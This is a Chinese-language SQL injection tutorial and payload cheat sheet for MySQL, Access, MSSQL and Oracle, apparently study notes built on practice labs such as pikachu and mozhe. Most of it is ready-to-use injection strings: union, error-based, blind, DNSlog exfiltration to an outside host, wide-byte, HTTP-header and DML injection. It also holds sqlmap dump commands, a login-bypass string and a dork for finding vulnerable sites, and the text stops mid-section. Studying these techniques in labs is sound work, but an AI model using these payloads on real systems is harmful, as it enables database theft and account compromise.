SQL注入经验方法总结

SQL注入

先判断是哪种数据库。再进行后续操作。

SQL注入漏洞产生的原理

web应用程序,对用户输入的语句没有做严格的过滤,导致被输入的语句被拼接成恶意代码的SQL语句进入数据库中查询,修改信息等。

所以SQL注入漏洞需要的条件:

1、用户可控的参数

2、参数能带入到数据库,与数据库进行交互

查找SQL注入漏洞:inurl:.php?id=

SQL注入漏洞的危害

1、获取管理员账号密码,控制数据库

2、数据库信息泄露,修改等

3、导致服务器被控制。

等等

SQL注入漏洞防护

1、最小化权限,给数据库设置最小权限

2、对用户输入的参数进行严格的过滤

3、使用预编译语句和参数化查询

4、不要暴露SQL语句错误的信息

SQL注入分类

(1)注入请求方法类型分类

根据注入请求方法类型,可以分为GET注入、POST注入、HTTP头注入

GET注入:HTTP请求方法为GET,参数显示在url中,如?id=1  id注入点
POST注入:HTTP请求方法为POST,参数在请求体中,注入点在请求体中
HTTP头注入:注入点在HTTP头中,如ua、cookie、referer等HTTP头中

(2)根据注入点参数分类

有整数型注入和字符型注入。

整数型注入:参数为数字
字符型注入:参数为字符,需要注释闭合。

在字符型注入中,有单引号闭合,双引号闭合,小括号,大括号闭合等

(3)根据注入方式分类

union联合查询注入方式
报错注入方式
布尔盲注方式
时间盲注方式
dnslog注入方式
宽字节注入方式
http头注入方式
order by注入方式
undate注入方式
insert注入方式
二次注入
堆叠注入
等等方式(后续再补充)

(1)union联合查询方式

适用于页面出现回显位置。

1 order by 2  判断字段数
-1 union select 1,2,group_concat(schema_name) from information_schema.schemata  查询所有数据库的名称
-1 union select 1,2,database() 查询当前数据库名称
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名'  查询数据库下的所有表名信息
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'   查询数据库下某表的所有字段信息
-1 union select 1,2,group_concat(列名1,'<br>',列名2) from 库名.表名   查询数据

注:limit m,n 可以控制输出的多少。 m表示从m开始,n表示输出多少。
比如limit 0,1 就是从0行开始,输出1行。

(2)报错注入方式

适用于页面没有回显位置,但是有SQL语句出错的信息。

  • 常用函数:updatexml()、concat()

  • 语法:updatexml(XML_documen,XPath_string,new_value)、

  • 实例:updatexml(1,concat(‘!’,database(),‘!’),1)
    在updatexml函数中第一个参数为需要更新的名称,第二个参数为路径,第三个参数为更新的名称
    concat是拼接函数,如果路径中存在特殊符号,比如~,!等就会报错;同时显示路径参数的内容。
    实例中,有特殊符号!,所以会报错,并且把数据库名称显示出来。

    ps:由于updatexml()返回的字符串长度最多为31个字符,所以这里可以通过substr函数分两步来截取。
    1、select updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,31)),1);
    从1个字符开始截取,截取31个字符。
    2、select updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),32,31)),1);
    从32个字符开始,截取31个字符。
    

(3)布尔盲注方式

布尔盲注适用于,没有回显位置,不能使用union联合查询注入方式,没有回显SQL语句错误的信息,也不能使用报错注入方式。

但是会回显正确的页面和错误的页面。

这里需要注意的是,在手工布尔盲注的时候,我们需要先找到一个参数是查询正确的页面,比如id=1,先找到正确的页面,然后再正确的页面上构造闭合注释,然后才去进行猜测数据。
  • 常用函数:length(),substr(),ascii()
    length()函数:返回字符串长度
    substr()函数:截取字符串 语法substr(参数1,参数2,参数3)
    参数1是要截取的字符串,参数2是从哪里开始截取,参数3是要截取多少
    ascii()函数:将字符转化为ascii码

  • 实例:
    1、查询数据库的长度:1’ and (select length(database())>1)–+

    2、查询数据库的名称:1' and (ascii(substr((database()),1,1)))>1 --+
    
    3、查询数据库表的数量:1' and (select count(*) table_name from information_schema.tables where table_schema='库名')>1 --+
    
    4、查询表的长度:1' and (select length(table_name) from information_schema.tables where table_schema='库名' limit m,n)>1 --+
    
    ps:limit m,n   m是从哪里开始,n是输出多少   通过修改m的值,则可以把所有的表都查询长度 
    
    5、查询表的名称:1' and (ascii(substr((select table_name from 
    information_schema.tables where table_schema='库名' limit m,n),1,1)))>1 --+
    
    ps:同样是修改limit m,n 控制第几张表  而通过控制substr函数的参数2,修改表名称的第几位
    
    6、查询字段的数量:1' and (select count(*) column_name from information_schema.columns where table_schema='库名' and table_name='表名')>1 --+
    
    7、查询字段的长度:1' and (select length(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' limit m,n)>1 --+
    
    8、查询字段的名称:1' and (ascii(substr((select column_name from 
    information_schema.columns where table_schema='库名' and table_name='表名' limit m,n),1,1)))>1 --+
    
    9、查询数据的数量:1' and (select count(*) 字段名 from 库名.表名)>1 --+
    
    10、查询数据:1' and (ascii(substr((select 字段名 from 库名.表名 limit 0,1),1,1)))>1 --+
    

(4)时间盲注方式

时间盲注适用于,不能使用union联合查询(没有回显位置),不能使用报错注入(没有返回错误的sql语句),也不能使用布尔盲注(没有正确的页面和错误的页面),也就是不管语句是对的,还是错的,都是回显一样的页面。这时可以使用时间盲注。

这里需要注意的是,时间盲注,也需要找到一个正确的数据,然后and的时候,后面接上需要判断的语句。
所以需要if函数判断对错、substr函数截取字符、ascii函数转换字符、slee函数
  • 常用函数
    if(ex1、ex2、ex3)
    当ex1正确的时候,执行ex2,否则执行ex3

  • 实例
    0、判断注入类型:1’ and sleep(5) --+

    1、判断数据库长度:1' and (if(length(database())=7,sleep(5),1)) --+
    
    2、判断数据库名称:1' and (if((ascii(substr((database()),1,1))=112),sleep(5),1)) --+
    
    3、判断表的数量:1' and (if((select count(*) table_name from 
    information_schema.tables where table_schema='数据库名')=5,sleep(5),1)) --+
    
    4、判断表的长度:1' and (if((select length(table_name) from information_schema.tables where table_schema='库名' limit 0,1)=8,sleep(5),1)) --+
    
    5、判断表的名称:1' and (if(ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))=104,sleep(5),1)) --+
    
    6、判断字段的数量:1' and (if((select count(*) column_name from information_schema.columns where table_schema='库名' and table_name='表名')=6,sleep(5),1)) --+
    
    7、判断字段的长度:1' and (if((select length(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)=2,sleep(5),1)) --+
    
    8、判断字段的名称:1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),1,1))=105,sleep(5),1) --+
    
    9、判断数据的数量:1' and if((select count(*) 字段名 from 库名.表名)=3,sleep(5),1) --+
    
    10、判断数据的长度:1' and if((select length(字段名) from 库名.表名 limit 0,1)=5,sleep(5),1)--+
    
    11、判断数据的名称:1' and if((ascii(substr((select 字段名 from 库名.表名 limit 0,1),1,1))=97),sleep(5),1)--+
    

(5)dnslog注入方式

dnslog注入适用于,存在布尔盲注的时候,时间盲注是布尔盲注不可用,但是dnslog注入相反,存在布尔盲注的时候,一个一个的去测很麻烦,这时就可以使用dnslog注入。

  • 需要的条件:
    1、公网服务器
    2、开启secure_file_priv读写权限
    3、window平台,使用UNC路径
    load_file函数:是读取文件并返回文件内容为字符串

  • 实例
    首先去dnslog.cn获取一个服务器,dnslog有时候打不开。
    这里使用dig.pm
    比如:获取得到 6a182d34.ipv6.1433.eu.org.
    select load_file(“\6a182d34.ipv6.1433.eu.org.\abc”);

    1、获取数据库信息:1' and load_file(concat('\\\\',(select database()),'.4wf899.dnslog.cn\\abc')) --+
    
    ps:注意服务器前面要加上 . 
    为什么需要四个\\\\,\可能会被当成转移字符,所以再\前面再加上\就表示这里是一个\符号,而不是转移字符。
    
    2、获取表名信息:1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='库名' limit 0,1),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+
    
    3、获取列名信息:1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+
    
    4、获取数据:1' and load_file(concat('\\\\',(select password from 库名.表名 limit 0,1),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+
    
    ps:在获取密码的时候,由于密码可能太长,导致无法带出,所以需要截取函数substr。
    
    1' and load_file(concat('\\\\',substr((select password from 库名.表名 limit 2,1),1,31),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+
    从第一位开始截取31位,发现能dnslog能带出了,然后再从32位开始截取31位,这样就能将密码加密的md5带出了。
    

(6)宽字节注入方式

什么是宽字节?宽字节是相对于ascii这样的单字节编码来说的,常见的宽字节有GBK,utf-8等.GBK汉字占两个字节,utf-8汉字占三个字节

宽字节注入适用于,为了防止SQL注入,使用了转义函数(addslashes/mysql_real_escape_string/mysql_escape_string等,还有一个情况是魔术引号,magic_quote_gpc,不过魔术引号已经在高版本的php中去除了) 将客户输入的特殊字符(’ " 等测试sql注入字符)转义为\ ’ 的情况下

所以在使用宽字节注入的时候,必须要的一个条件就是MySQL数据库使用GBK编码。

在MySQL数据库使用宽字节(如GBK编码)的时候,会认为两个字符是一个汉字,当我们输入单引号的时候,转义函数会将单引号转义为\ ' ,而如果我们在\的前面再加上一个字符,那么加上的这个字符就和\组成了一个汉字,而后面的单引号就逃逸出来了
这里\的url编码为%5c,也就是在%5c前面加上一个大于ascii码的字符就可以与%5c变成一个字符.如%df
所以%df%5c就是一个中文字符'運'
如果%df被禁止了,怎么办?还可以使用%de,%de%5c组成中文字符'轡'
  • 实例

    0、在post请求方法、字符型注入类型、宽字节注入+union注入方式下

    1、判断字段数:1%df’ and 1=2 order by 1,2 --+

    2、判断回显位置:1%df’ and 1=2 union select 1,2 --+

    3、判断数据库信息:1%df’ and 1=2 union select 1,database() --+

    4、判断表名信息:1%df’ and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()–+

    5、判断列名信息:1%df’ and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)–+

    ps:这里查询列名的时候,不得不用到’,那么这里有两个方法,可以绕过单引号
    一、子嵌套法:就像上面的语句,在where条件列名的时候,再查询一次,并且通过limit来控制第几张表
    二、将库名、表名转化为hex

    5、判断列名:1%df’ and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x68747470696E666F --+

    6、判断数据:1%df’ and 1=2 union select 1,group_concat(id,userid) from pikachu.httpinfo --+

  • 利用sqlmap跑

    1、检测是否存在宽字节注入:sqlmap -u “http://ctf.aabyss.cn:80/vul/sqli/sqli_widebyte.php?__CBK=3f5392529cfb9e2c01d71d0b4dc9d4ad21688026197_3146” --data=“name=1 * ^&submit=%E6%9F%A5%E8%AF%A2” --batch --tamper unmagicquotes

    ps:利用脚本 --tamper unmagicquotes检测是否存在宽字节注入

    2、爆数据库名:

(7)http头注入方式

什么是http头注入?有时候,我们的输入的参数会被防护,但是网站会记录我们的cookie、user-agent、referer等信息,而且与数据库交互,并未对我们的http头信息进行过滤,这时我们就可以在http头这里使用sql注入。

在手工http头注入的时候,需要配合我们的报错注入来结合。
所以需要使用我们的updatexml函数。
updatexml(1,concat(0x7e,(查询的语句),0x7e),1)
  • 实例

    在pikachu靶场中的http头注入练习,首先需要登录账号。
    登陆之后,发现信息被记录,这时候使用抓包,然后刷新页面。得到user-agent、referer等信息。
    http头注入,不能使用union联合查询方式注入。

    1、查询数据库名:在对应的http头,1’ and updatexml(1,concat(0x7e,database()),1) or’

    ps:为何要使用or’ 去闭合后面的语句,而不能使用注释符,我也未搞清楚

    2、查询表名:1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’),0x7e),1) or’

    3、查询字段名:1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘pikachu’),0x7e),1) or’

    4、查询数据:1’ and updatexml(1,concat(0x7e,(select group_concat(username) from pikachu.users),0x7e),1) or’

    ps:如果是查密码,而不是账户,密码一般是md532位加密,但是updatexml回显只能31位,所以就需要substr函数去截取。

    5、查询密码:1’ and updatexml(1,concat(0x7e,substr((select group_concat(password) from pikachu.users),1,31),0x7e),1) or’

    1’ and updatexml(1,concat(0x7e,substr((select group_concat(password) from pikachu.users),32,31),0x7e),1) or’

  • 利用sqlmap跑

    1、检查是否存在http头注入:sqlmap -u “http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/” --level=3 --batch

    ps:在level等级为2的时候会检查cookie是否存在注入,在level等级为3的时候会检查http头是否存在注入。

    2、曝出数据库:sqlmap -u “http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/” --level=3 --batch --dbs

    3、曝出表名:sqlmap -u “http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/” --level=3 --batch -D ”库名“ --tables

    4、曝出字段名:sqlmap -u “http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/” --level=3 --batch -D ”库名“ -T ”表名“ --columns

    5、曝出数据:sqlmap -u “http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/” --level=3 --batch -D ”库名“ -T ”表名“ -C ”字段名“ --dump

(8)insert注入方式

insert/undate/delete 和select不同之处在于,他们是一个操作,而不是查询,所以不能与union做联合查询,可以通过报错的方式回显。

insert增,通常用于注册的时候,插入我们的sql语句;

在文本框中输入的只是账号密码等,实际执行的sql语句是:

insert into 表名 (字段1,字段2,字段3) vlaues (1,2,3);

delete删,通常用于留言板,或者删除一些其他的数据时;

实际执行的sql语句是:

delete from 表名 where 条件=xx;

update改, 通常用于修改个人信息的时候,

实际执行的sql语句是:

update 表名 set 字段1=xxx,字段2=xxx,字段3=xxx where 条件=xxx;

insert在MySQL数据库中是增加的意思。用pikachu数据库为例子。
如下图,在pikachu数据库中的member表下,有id,username,pw,sex,phonenum,address,email

所以我们插入数据的时候是这样写
insert into 表名 (id,username,pw,sex,phonenum,address,email) values (8,'afan','123456',1,2,3,4)

注意如果插入的数据是字符,那么需要单引号,查询表下的结构,使用desc 表名即可



所以pikachu靶场中insert注入,在注册时,插入我们的sql语句。
1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and'

ps:这里注意,因为在注册的时候,在用户这一栏插入语句,所以语句的两头应该有' '

所以正常的语句应该如下:
'1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and''

1、查询数据库名字:1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and'

2、查询表名:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1) and'

3、查询字段名:1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1),0x7e),1) and'

4、查询数据:1' and updatexml(1,concat(0x7e,(select username from pikachu.users limit 0,1),0x7e),1) and'

ps:同样的问题,报错注入,在查询密码的时候,只能回显31位,所以需要使用substr截取函数,来截取前31位,然后从32位再截取。

查询密码:1' and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1) and'

1' and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),32,31),0x7e),1) and'

(9)update注入方式

update在MySQL数据库,是更新的意思。同样以pikachu数据库为例子。
所以我们更新数据的语句是

update 表名 set 字段名1=xx,字段名2=xx where 条件=xx

ps:如果字段的类型是字符型,那么需要加上‘ ’
例如:update member set username='chaofan',pw='111111',sex='boy',phonenum='123',address='yanhe',email='9348' where id=28;
  • 实例

    首先使用注册的账号密码,从update注入页面登录到pikachu

    这里其实,还是利用修改信息的时候,插入报错语句,让其进行报错回显。

    1、查询数据库名字:1’ and updatexml(1,concat(0x7e,(database()),0x7e),1) and’

    2、查询表名:1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),0x7e),1) and’

    3、查询字段名:1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’ limit 0,1),0x7e),1) and’

    4、查询数据:1’ and updatexml(1,concat(0x7e,(select username from pikachu.users limit 0,1),0x7e),1) and’

    ps:同样的问题,报错注入,在查询密码的时候,只能回显31位,所以需要使用substr截取函数,来截取前31位,然后从32位再截取。

    查询密码:1’ and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1) and’

    1’ and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),32,31),0x7e),1) and’

(10)delete注入

delete在MySQL数据库,是删除的意思。同样以pikachu数据库为例子。
所以我们删除数据的语句是:
delete from 表名 where 条件=xxx;

所以我们删除的时候,实际上是在执行这一条语句。
所以在delete注入的时候,插入sql语句:

delete from 表名 where 条件=xxx or updatexml(1,concat(0x7e,(database()),0x7e),1)

or逻辑或,一个条件为真,则为真。
  • 实例

    以pikachu为例子:
    在delete注入模块,抓点击删除的包。然后发现在url中有id=56,单引号之后,发现报错,说明存在sql注入。

    1、曝出数据库名:56 or updatexml(1,concat(0x7e,database(),0x7e),1)

    url编码:
    56+or+updatexml(1,concat(0x7e,database(),0x7e),1)+

    ps:将代码改为url编码的格式,不然会报错,因为这是GET请求方式

    2、曝出表名:56 or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),0x7e),1)

    url编码:
    56+or+updatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema%3d’pikachu’+limit+3,1),0x7e),1)+

    3、查询字段名:56 or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’ limit 0,1),0x7e),1)

    url编码:
    56+or+updatexml(1,concat(0x7e,(select+column_name+from+information_schema.columns+where+table_schema%3d’pikachu’+and+table_name%3d’users’+limit+1,1),0x7e),1)

    4、查询数据:56 or updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1)

    ps:同样的问题,报错注入,在查询密码的时候,只能回显31位,所以需要使用substr截取函数,来截取前31位,然后从32位再截取。

    查询密码:56 or updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1)

    url编码:56+or+updatexml(1,concat(0x7e,substr((select+password+from+pikachu.users+limit+0,1),1,31),0x7e),1)

    56 or updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),32,31),0x7e),1)

    url编码:
    56+or+updatexml(1,concat(0x7e,substr((select+password+from+pikachu.users+limit+0,1),32,31),0x7e),1)

1、MySQL数据库

1、判断注入点和注入类型

首先呢先判断有没有注入点。

单引号 、双引号、小括号、大括号等等字符判断。

方法一:

如果存在注入点。再进一步判断注入类型。

and 1=1 和 and 1=2 查看返回的页面是否一样。一样为字符型,不一样为数字型。

原因:‘and 1=1’ ‘and 1=2’ 字符型会有单引号把输入的字符包起来 所以不会逻辑问题上不会报错。

方法二:

还有一种方法,单引号发现报错之后,在单引号后面加上注释符号。如果回显正常了,那么是字符型,如果加上注释之后,还是报错,那么是数字型。

原因:输入的单引号,去闭合前面的单引号,后面的那个单引号被注释符注释了。所以闭合完成。

2、MySQL数据库基本操作

mysql -u root -p 进入mysql数据库

\q 退出MySQL数据库

show databases; 查看所有数据库名称

use 数据库名字; 使用某数据库

select database(); 查询当前使用数据库名称

show tables; 查看当前数据库下的所有表

select version(); 查询当前数据库版本

select user(); 查询当前用户

select now(); 查询当前时间

desc 表名; 查询表的结构

select * from 表名; 查询表中的所有记录

select user,password from 表名; 只查询表中user和password的记录

select user,password from 表名 where user=‘xx’; 只查询user=xx的user和password信息

万能密码:

admin

’ or ‘1’=‘1’ or是逻辑或的意思,只要有一个条件为真,它就为真。

2、Access数据库

(1)手工注入

access数据库只有一个数据库。

1、判断注入类型

可以输入,单引号,and 1=1 ,and 1=2判断

2、判断字段数

order by

3、查询表名

使用union联合查询,查询表名,但是需要注意的是,表名需要自己猜解,所以遇到access数据库,直接上sqlmap跑

4、查询字段名

这里字段名也需要猜解,然后查询 字段名 from 表名

(2)偏移注入

偏移注入,适用于,已经知道了表名,但是不知道字段名的情况下。

1、先判断一个*等于几个字段

由于已经知道了,字段数,表名

所以直接将最大的字段数22,改为*,访问页面,看正常与否,然后删除,并将21改为 * ,直到页面正常为止,如果此时字段数已经为16了,那么一个 * 就代表6个字段。

一级偏移注入:(减去6个字段)

UNION SELECT 1,2,3,4,5,6,7,8,9,10,*from (admin as a inner join admin as b on a.id = b.id)

二级偏移注入:(再减去6个字段)

UNION SELECT 1,2,3,4,a.id,b.id,c.id,*from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

3、Mssql数据库

mssql数据库,又叫sqlserve数据库。

Mssql数据库的注入与MySQL数据库差不多。

Mssql数据库也自带information_schema.tables columns schemata

注入过程也大同小异,其中

数据库名db_name()

用户登陆名suser_name(),sa是最高权限。

sysobjects 存放了所有的表名

syscolumns 存放了所有的字段名

有回显点,union注入

方法一:

使用MySQL数据库的规则查询

(1)判断注入类型

这里还是与MySQL数据库一样判断

(2)判断字段数

order by

(3)查看回显位置

在查看回显位置的时候,就有点不同了,mssql数据库,对类型比较严格,我们这里可以采用猜解的思路。

先 1 and 1=2 union all select null,null,null ,用null去填充位置,

然后将第一个null改为1,看看是否报错,如果报错,那么则1这个位置就是字符型,在书写的时候就得加上’ '。

1 and 1=2 union all select ‘a’,null,null

(4)查询表名

在查询表名的时候,需要注意。

1 and 1=2 union all select 1,table_name,3 from information_schema.tables

这一句可以查找一个表,比如为flags,那么我们要查第二张表怎么查?

1 and 1=2 union all select 1,table_name,3 from information_schema.tables where table_name<>'flags'

ps: <>这个符号是不等于的意思

比如第二张为news,那么第三张表怎么查?

1 and 1=2 union all select 1,table_name,3 from information_schema.tables where table_name<>'flags' and table_name<>'news'

(5)查询字段名

同查询表名一样。

查询flags表里的第一个字段

1 and 1=2 union all select 1,column_name,3 from information_schema.columns where table_name='flags'

如果查出来,第一个字段名为flag,要查询表里面的第二个字段

1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='flags' and column_name<>'flag'

(6)查询数据

1 and 1=2 union select 1,flag,3 from flags

union select 字段名 from 表名

这就是我们Mssql数据库使用MySQL数据库的规则查询数据的过程

方法二:

Mssql数据库自带表sysobject,在表中,有我们数据库的所有表名。

在sysobject表中,需要注意三个字段,一个字段是name,第二个字段是id(id需要在后面查询字段名的时候使用),还有一个是xtype,xtype是类型的意思,而xtype=‘u’,意思就是用户自己创建的表

1、查询表名

1 and 1=2 union select id,name,3 from sysobject where xtype='u'

这个意思就是我们要查询,id,name,而且xtype=‘u’,从我们自带的sysobject表中查。

比如查出来的第一张表是901578250 news

要查询第二张表名

1 and 1=2 union select id,name,3 from sysobject where xtype='u' and name<>'news'

2、查询字段名

得到id值之后,下一步要去查它的字段名。

1 and 1=2 union select 1,name,3 from syscolumns where id=查到的id值

3、查数据

1 and 1=2 union select 1,name,3 from flags

实例

以墨者靶场的sqlserver靶场为例子

方法一:
1、判断注入类型

使用and 1=1 和and 1=2

发现回显不一样,这是一个整数型的sqlserver注入。

2、判断字段数

order by

这里order by 2 的时候正常 3的时候错误 4的时候又正常

应该是一个小bug,所以暂时不需要管,看成4个字段即可。

3、判断回显位置

这里需要注意,与MySQL数据库不同的地方是union select不能用了,而是使用union all select

id=2 and 1=2 union all select null,null,null,null
然后不断的修改null,查看null位置处是整数还是字符。
id=2 and 1=2 union all select 1,2,'3',4
4、判断表名
id=2 and 1=2 union all select 1,2,table_name,4 from information_schema.tables

manage

id=2 and 1=2 union all select 1,2,table_name,4 from information_schema.tables where table_name<>'manage'

announcement

5、判断字段名
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage'

id

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage' and column_name<>'id'

username

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage' and column_name<>'id' and column_name<>'username'

password

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage' and column_name<>'id' and column_name<>'username' and column_name<>'password'

另外一个表announcement

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' 

id

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id'

title

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id' and column_name<>'title'

contents

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id' and column_name<>'title' and column_name<>'contents'

times

id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id' and column_name<>'title' and column_name<>'contents' and column_name<>'times'
6、查询数据
id=2 and 1=2 union all select 1,username,password,4 from  manage

admin_mz

72e1bfc3f01b7583 md5撞库为 97285101

注意啊,这里得到的密码,还是md5加密的,先去md5撞库得到密码

恭喜你 admin_mz 成功登录用户管理后台,KEY: mozhe2fb22b308899e00cd55350d36a9

方法二:
1、查询表名

需要利用sysobjects表

id=2 and 1=2 union all select 1,id,name,4 from sysobjects where xtype='u'

得到id=5575058

表名=manage

id=2 and 1=2 union all select 1,id,name,4 from sysobjects where xtype='u' and name<>'manage'

id=101575400

表名=announcement

2、查询字段名

得到id之后,就可以查询字段名了,因为每个id对应的字段名不一样

这里需要使用另外一个表,syscolumns

id=2 and 1=2 union all select 1,2,name,4 from syscolumns where id=5575058

id

id=2 and 1=2 union all select 1,2,name,4 from syscolumns where id=5575058 and name<>'id'

username

id=2 and 1=2 union all select 1,2,name,4 from syscolumns where id=5575058 and name<>'id' and name<>'username'

password

3、查询数据

得到表名manage,字段名username,password

id=2 and 1=2 union all select 1,username,password,4 from manage 

得到账号密码

admin_mz

72e1bfc3f01b7583

报错注入

与MySQL一样,报错注入,适用于没有回显点的情况。

在报错注入之前,先了解一个函数

convert()函数 ,是把日期转换为新数据类型的通用函数。

原理:

and id= convert(int,@@version)

对于convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后尝试将查询结果转换为int类型,但是由于这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会曝出一个SQL server错误消息,这样就能得到这个SQL查询的结果了。

convert(int,@@version) 获取版本信息
convert(int,db_name) 数据库名字
convert(int,user) 当前用户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息

1、查询表名

id=2 and convert(int,(select top 1 name from sysobjects where xtype='u'))

top 1这里就是限制输出一条的意思。、

同样的,如果想继续查下面的表

id=2 and convert(int,(select top 1 name from sysobjects where xtype='u')) where name<>'表名'

2、查询字段名

由于不知道id了,所以在查询表名的时候,还是采用MySQL数据库的方法

id=2 and convert(int,(select top 1 column_name from information_schema.columns where table_name='表名'))

如果不止一条数据,

id=2 and convert(int,(select top 1 column_name from information_schema.columns where table_name='表名' and column_name<>'字段名'))

3、查询数据

id=2 and convert(int,(select top 1 字段名 from 表名))

最后推荐一篇关于mssql数据库,写的很全面的文章

https://www.anquanke.com/post/id/248896#h3-4

4、Oracle数据库

一般在大型企业会用到Oracle数据库,Oracle很讲究语法规则,Oracle有一个Dual(实表)虚表,用来拼凑语法规则的,分页查询使用top

1、联合查询

Dual是一个虚表,没有什么特别的意义,为了符合查询语法而诞生的。

查询用户名: select user from dual

加减法:select 9+1 from dual

Select * from all_tables 查询所有的表

Select * from user_all_tables 查询当前用户的表

Select * from all_tab_columns 查询所有字段

Select * from user_tab_columns 查询当前用户的字段

Select * from v$version 查询版本

rownum是限制输出的,比如news 表里面有3条数据

比如:select * from news where rownum=1 那么就只输出第一行

select * from news where rownum=1 and xx<>xx 就可以输出第二行

1、判断注入类型

这里的判断类型与MySQL一样

单引号,and 1=1,and 1=2等

2、判断字段数

order by

3、判断回显点

这里判断回显的类型的时候,跟MySQL数据库不一样,同样需要null占位,然后一一判断。

1 and 1=2 union select '1','2' from dual

4、查询表名

1 and 1=2 union select 1,table_name,3 from user_all_tables where rownum=1

继续查询第二条

1 and 1=2 union select 1,table_name,3 from user_all_tables where rownum=1 and table_name<>'xxx'

5、查询字段名

1 and union select 1,column_name,3 from user_tab_columns where table_name='xxx' and rownum=1

查询第二条数据

1 and union select 1,column_name,3 from user_tab_columns where table_name='xxx' and rownum=1 and column_name<>'xxx'

。。。。。。

6、查询数据

1 and union select 1,字段名,3 from 表名

2、报错注入

首先需要了解一个函数

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))  

这是去查询关于主题的关键词,然后因为查询失败(应该是用户没有查询和创建的权限,默认情况没有创建,爆出未查询到的结果从而曝出查询的内容)

比如:

1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) 查询数据库版本

为什么要1=?

因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件。

1、查表名

1 and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum cf,table_name from user_all_tables) where cf=2)

要查其他表,则修改cf=xx就行

2、查字段名

1 and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum cf,column_name from user_tab_columns) where cf=2)

获取用户名 id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select user from dual)%7c%7c’~') --+

获取表名 id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select table_name from all_tables where rownum=1 and owner=‘TEST’)%7c%7c’~') --+

获取字段名id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select column_name from all_tab_columns where owner=‘TEST’ and table_name=‘USERS’ and rownum=1)%7c%7c’~') --+

获取数据id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select username from test.users where rownum=1)%7c%7c’~') --+

oracle数据库详解:https://cloud.tencent.com/developer/article/1944116

案例

联合查询

1、判断注入类型

and 1=1 和 and 1=2 返回不一样

是一个整数型注入

2、查询字段数

order by

3、查看回显类型
1 and 1=2 union select null,null from dual

dual表,任何人都可以查,这么写只是为了满足Oracle的语法规则

然后不断的改变null类型,从整数到字符。

4、查询数据库名
